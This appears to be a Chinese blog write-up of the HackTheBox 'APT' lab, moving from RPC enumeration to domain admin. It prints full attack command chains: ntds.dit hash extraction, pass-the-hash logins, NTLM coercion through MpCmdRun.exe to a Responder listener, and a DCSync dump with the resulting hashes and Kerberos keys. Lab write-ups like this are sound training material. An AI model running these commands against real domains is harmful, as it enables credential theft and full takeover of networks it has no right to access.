HackTheBox APT

Uncategorized
2.5k words

靶机:10.10.10.213,只开了80和135这两个端口。

访问一下http服务,没发现什么比较有趣的东西,是个静态站,扫目录也没扫出来什么东西,基本不考虑从web端撕口子了,去看一下RPC服务


试着用rpcclient匿名访问裸连,失败无果

1
rpcclient -U "" -N 10.10.10.213

再试着用下rpcmap尝试获取远程RPC的端点信息,重点关注我单列出来的MSDCOM这里,经过brute-opnums最终发现 99FCFEC4-5260-101B-BBCB-00AA0021347A存在可调用的操作数(就是存在可调用的方法),我们去官网查一查它的资料 。
(诶,为什么MS-RPCE不查呢?我感觉这两个对象差不多啊)

1
2
3
4
5
6
7
8
impacket-rpcmap ncacn_ip_tcp:10.10.10.213[135]
//查询服务器10.10.10.213上端口135的RPC服务的。它会显示每个服务的UUID,版本号,绑定字符串和注释绑定字符串是用来描述如何连接到RPC服务的信息,比如协议,地址,端口等。[ncacn_ip_tcp是一种RPC传输协议,表示使用TCP/IP协议,10.10.10.213 是服务器的IP地址,135是服务器上运行RPC服务的端口号。

impacket-rpcmap ncacn_ip_tcp:10.10.10.213[135] -brute-uuid
//用来暴力破解服务器10.10.10.213上端口135的RPC服务的UUID的。它会尝试使用一个预定义的UUID列表来连接到RPC服务,并显示成功连接的服务的信息。这样可以发现一些隐藏或未公开的RPC服务.

impacket-rpcmap ncacn_ip_tcp:10.10.10.213[135] -brute-uuids -brute-opnums
//可以用于爆破一些可能有漏洞uuid操作及其操作数


查询地址: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dcom/c25391af-f59e-40da-885e-cc84076673e4
从官网上查出来的结果如下,进程名称 IID_IObjectExporter

和打CTF的时候一样,当你想利用/绕过一个方法的时候,最好的办法是先去搜一下它的历史EXP。我们先去了解一下这个进程的相关信息。


根据文章所示,我们理论上来讲是可以通过 ServerAlive2 来获得主机NetBIOS, FQDN, IPv4, IPv6等地址的,查了下相关信息,最终是找到了这么一个脚本,下载地址: https://github.com/mubix/IOXIDResolver git到本地后得到以下利用结果。


1
2
3
4
5
6
python IOXIDResolver.py -t 10.10.10.213
Address: apt # 这是目标机器的主机名
Address: 10.10.10.213 # 这是目标机器的IPv4地址
Address: dead:beef::1b3 # 这是目标机器的IPv6地址之一
Address: dead:beef::b885:d62a:d679:573f # 这是目标机器的IPv6地址之一
Address: dead:beef::494f:8e5:1dd6:4c5 # 这是目标机器的IPv6地址之一

因为一些安全策略配置以及其他方面的原因,有时候我们扫ipv6能够获得与扫ipv4截然不同的端口号
我们简单的扫一下上面得到的ipv6的地址。这里有个坑点注意一下,以前一直是拿windows主机连的vpn,虚拟机方面用NAT模式接入,以此实现对目标内网靶机的访问。但在这里的话,最好直接在虚拟机里面连,不然不知道为什么一直走不通对ipv6的访问。别的倒也没什么了,扫描结果如下。

看到了很多老朋友啊,光从53端口和3268/3269端口,我们大致就能够看出来这是一台仿DC的主机(没扫出来88端口比较遗憾)。因为开启了445端口,按照以往的习惯,先smbclient裸连一下。

1
2
smbclient -N -L //htb.local
smbclient -N \\\\htb.local\\backup


裸连上后,成功把backup.zip下载到了本地,本来想直接解压的,但发现有密码,得先破开才行。
这里用先用zip2john把zip转换成hash文件,之后再用john进行破译。成功得到密码:
iloveyousomuch

unzip解压之后得到了这么个玩意 ntds.dit,找gpt问了下这是个什么东西

1
2
3
4
5
ntds.dit 文件是域环境中域控上会有的一个二进制文件,是主要的活动目录数据库,其文件路径为域控的 %SystemRoot%\ntds\ntds.dit

ntds.dit 文件包括但不限于有关域用户、组和组成员身份和凭据信息、GPP等信息。它包括域中所有用户的密码哈希值,为了进一步保护密码哈希值,使用存储在 SYSTEM 注册表配置单元中的密钥对这些哈希值进行加密

在非域环境也就是在工作组环境中,用户的密码等信息存储在 SAM 文件,想要破解 SAM 文件与 ntds.dit 文件都需要拥有一个 SYSTEM 文件。

看关键词,发现这东西存了==域中所有用户的密码哈希值==,我们这里用secretdump来查一下数据

1
2
secretsdump.py -ntds ntds.dit -system ../registry/SYSTEM LOCAL > ../usr_hash_raw
//-system ../registry/SYSTEM: 这个参数指定了包含注册表数据的文件。`SYSTEM`文件通常包含系统配置和安全策略等信息。

导出到usr_hash_raw之后浅读一下,发现差不多有8k条数据,用户名和密码存在一对多的关系。

阿西吧,这一个一个试得试到猴年马月了,我们这里用域内用户枚举排除一下没用的账号,先把用户名给提取出来,去重放到本地文件里面,差不多有4k个用户等待我们来验证。

1
2
3
4
cut -d ':' -f1 usr_hash_raw|uniq>usrlist

sudo ./kerbrute_linux_amd64 userenum -d htb.local --dc htb.local /home/f4miti0n/桌面/IOXIDResolver-master/xxx/usrlist

最终是爆破出了这三个有效用户

1
2
3
2023/10/13 14:33:28 >  [+] VALID USERNAME:       APT$@htb.local
2023/10/13 14:33:28 > [+] VALID USERNAME: Administrator@htb.local
2023/10/13 14:37:51 > [+] VALID USERNAME: henry.vinson@htb.local

挨个验证还是有点麻烦,这里上点办公技巧,神奇的awk命令

1
2
3
4
5
6
cat usr_hash_raw|grep ":::"|awk -F ":::" '{print $1}'|uniq>userhash
//只有带:::的才是正经用户信息数据,为了后面分割数据方便,这里先把:::给去掉
awk -F ":" '{print "impacket-getTGT htb.local/henry.vinson@htb.local -hashes "$3":"$4}' userhash|xargs -I{} bash -c {}
//理论上来讲,我们需要把那几个用户都拿来试一遍,但这里就不浪费时间了,直接上henry.vinson,查就是了
watch "ls -ltr | tail -2"
//监测一下有无文件生成

最终是拿到了henry.vinsionTGT票据和hash

1
aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb

按照常理来讲,这个时候我们就可以进行如下的尝试了,但我提前看了Enterpr1se师傅的周报,机智地发现此路不通,便也不再多做尝试了,但出于学习地目的,还是记录一下。

1
2
3
4
5
evil-winrm -i htb.local -u henry.vinson -H e53d87d42adaa3ca32bdb34a876cbffb
psexec.py -hashes 'aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb' htb.local/henry.vinson@htb.local
wmiexec.py -hashes 'aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb' htb.local/henry.vinson@htb.local
dcomexec.py -hashes 'aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb' htb.local/henry.vinson@htb.local
smbexec.py -hashes 'aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb' htb.local/henry.vinson@htb.local

这里是用的impacket-reg查的注册表来打破僵局的,我们这里查一下HKU的相关键值内容,最后在HKU\\Software\\GiganticHostingManagementSystem下得到了另一个用户的账户密码:henry.vinson_adm / G1#Ny5@2dvht

1
2
3
reg.py -hashes 'aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb' -dc-ip htb.local htb.local/henry.vinson@htb.local query -keyName HKU

reg.py -hashes 'aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb' -dc-ip htb.local htb.local/henry.vinson@htb.local query -keyName HKU\\Software\\GiganticHostingManagementSystem



不知道是不是Remote组的成员,我们盲登一下试试

1
evil-winrm -i htb.local -u henry.vinson_adm -p G1#Ny5@2dvht  

All Right ,get Flag!

正式进入提权阶段,老样子传了一个SharpHound.exe上去,但没发现什么有效的进攻路径,无奈转手动挡,简单收集一下当前用户信息

然后再查看一下域内用户都有哪些 net user /domain

说实话,没什么思路,跟着红笔师傅的视频做了一下,这里是查到了C:/users/henry.vinson_adm/appdata/Roaming/Microsoft/Windows/PowerShell/PSReadline/ConsoleHost_history.txt这个历史敏感文件,其中涉及到的命令如下所示,相关注释也放在旁边了,别的师傅给标的,写的很清晰。

1
2
3
4
5
$Cred = get-credential administrator:#这个命令会弹出一个对话框,要求输入管理员的用户名和密码,然后将这些凭据存储在变量$Cred中。

invoke-command -credential $Cred -computername localhost -scriptblock {...}:#这个命令使用前面存储的管理员凭据在本地计算机(localhost)上执行一段脚本。

Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" lmcompatibilitylevel -Type DWORD -Value 2 -Force:#这是在脚本块中执行的命令。它更改了Windows注册表中的一个设置。具体来说,它更改了"lmcompatibilitylevel"的值,这个值决定了系统对LAN Manager(LM)和NTLM认证的支持级别。这个命令将其设置为2,这意味着系统将使用NTLMv1和LM,但不会使用NTLMv2。

因为用的是NTLMV1做验证,我们自然而然会想到用Responder来做中继破解NTLM Hash。和之前的利用思路一样,我们需要让APT这台靶机,访问我们本地用Responder伪造好的服务器。在之前的Responder靶机中,我们用的是远程文件包含的思路,但这里显然没有这个点能来让我们利用,我们需要自己去找利用点。这里省略一些没必要说的流程,我们是在本地的Program FIles\Windows Defender目录下找到的MpCmdRun.exe这个利用文件,放到Mpcmdrun | LOLBAS (lolbas-project.github.io) 搜一搜相关用法,得到如下界面(这个网站真的好用,长期保存一下,live off the land神器)


/etc/Responder/目录下修改Responder.conf文件,将其中Random的挑战码改成1122334455667788,方便crack.sh进行破译

1
2
3
4
.\MpCmdRun.exe -Scan -scantype 3 -File \\10.10.14.6\\noexist
//在APT靶机上运行
sudo responder -I tun0 --lm
//在Kali上运行

最终在Kali上收到了如下内容,用ntlmv1.py小破一下

得到如下结果,把这个NTHASH:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384放到crack.sh再进行操作

得到结果d167c3238864b12f5f82feae86a7f798
最后尝试用secretdump导出凭据,得到Administrator的真正凭据,尝试用evil-winrm链接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
secretsdump.py 'htb.local/APT$@htb.local' -hashes 'aad3b435b51404eeaad3b435b51404ee:d167c3238864b12f5f82feae86a7f798'
-----------------------------------------------------------------------------------
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c370bddf384a691d811ff3495e8a72e2:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:738f00ed06dc528fd7ebb7a010e50849:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
henry.vinson:1105:aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb:::
henry.vinson_adm:1106:aad3b435b51404eeaad3b435b51404ee:4cd0db9103ee1cf87834760a34856fef:::
APT$:1001:aad3b435b51404eeaad3b435b51404ee:d167c3238864b12f5f82feae86a7f798:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:72f9fc8f3cd23768be8d37876d459ef09ab591a729924898e5d9b3c14db057e3
Administrator:aes128-cts-hmac-sha1-96:a3b0c1332eee9a89a2aada1bf8fd9413
Administrator:des-cbc-md5:0816d9d052239b8a
krbtgt:aes256-cts-hmac-sha1-96:b63635342a6d3dce76fcbca203f92da46be6cdd99c67eb233d0aaaaaa40914bb
krbtgt:aes128-cts-hmac-sha1-96:7735d98abc187848119416e08936799b
krbtgt:des-cbc-md5:f8c26238c2d976bf
henry.vinson:aes256-cts-hmac-sha1-96:63b23a7fd3df2f0add1e62ef85ea4c6c8dc79bb8d6a430ab3a1ef6994d1a99e2
henry.vinson:aes128-cts-hmac-sha1-96:0a55e9f5b1f7f28aef9b7792124af9af
henry.vinson:des-cbc-md5:73b6f71cae264fad
henry.vinson_adm:aes256-cts-hmac-sha1-96:f2299c6484e5af8e8c81777eaece865d54a499a2446ba2792c1089407425c3f4
henry.vinson_adm:aes128-cts-hmac-sha1-96:3d70c66c8a8635bdf70edf2f6062165b
henry.vinson_adm:des-cbc-md5:5df8682c8c07a179
APT$:aes256-cts-hmac-sha1-96:4c318c89595e1e3f2c608f3df56a091ecedc220be7b263f7269c412325930454
APT$:aes128-cts-hmac-sha1-96:bf1c1795c63ab278384f2ee1169872d9
APT$:des-cbc-md5:76c45245f104a4bf


evil-winrm链接,pwn!